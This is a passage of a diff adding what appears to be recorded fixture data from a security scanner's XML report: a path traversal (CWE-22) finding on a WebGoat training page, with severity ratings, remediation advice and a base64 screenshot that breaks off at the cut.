+        input to ensure that it conforms to the expected format, using centralized
+        data validation routines when possible.  When using black lists, be sure that
+        the sanitizing routine performs a sufficient number of iterations to remove
+        all instances of disallowed characters and ensure that the end result is not
+        dangerous.\"/>\n</recommendations>\n<cwe cweid=\"22\" cwename=\"Improper Limitation
+        of a Pathname to a Restricted Directory ('Path Traversal')\" pcirelated=\"false\"
+        owasp=\"932\" sans=\"865\" certc=\"743\" certcpp=\"877\">\n<description>\n<text
+        text=\"The software, when constructing file or directory names from input,
+        does not properly sanitize special character sequences that resolve to a file
+        or directory name that is outside of the intended directory or directories.\"/>\n</description>\n<manualflaws>\n<flaw
+        severity=\"5\" categoryname=\"Improper Limitation of a Pathname to a Restricted
+        Directory ('Path Traversal')\" count=\"1\" issueid=\"272\" module=\"manual_analysis\"
+        type=\"\" description=\"The software, when constructing file or directory
+        names from input, does not properly sanitize special character sequences that
+        resolve to a file or directory name that is outside of the intended directory
+        or directories.\" note=\"\" cweid=\"22\" remediationeffort=\"2\" exploitLevel=\"2\"
+        categoryid=\"1\" pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33
+        UTC\" remediation_status=\"New\" cia_impact=\"ppn\" grace_period_expires=\"2012-03-01
+        14:59:14 UTC\" affects_policy_compliance=\"true\" mitigation_status=\"none\"
+        mitigation_status_desc=\"Not Mitigated\" location=\"http://targethost/WebGoat/attack?Screen=306871788&amp;menu=200\"
+        cvss=\"9\" capecid=\"6\" exploitdifficulty=\"1\" inputvector=\"File\">\n<exploit_desc>An
+        attacker can use this to retrieve the contents of arbitrary files on the server.
+        This leads to a full compromise of the application running within the context
+        of the server.</exploit_desc>\n<severity_desc>An attacker can retrieve server
+        state information that allows a compromise of the security boundaries of the
+        application.</severity_desc>\n<remediation_desc>When the set of acceptable
+        objects, such as filenames or URLs, is limited or known, create a mapping
+        from a set of fixed input values (such as numeric IDs) to the actual filenames
+        or URLs, and reject all other inputs.</remediation_desc>\n<appendix>\n<description>undefined</description>\n<screenshot
+        format=\"PNG\">\n<data>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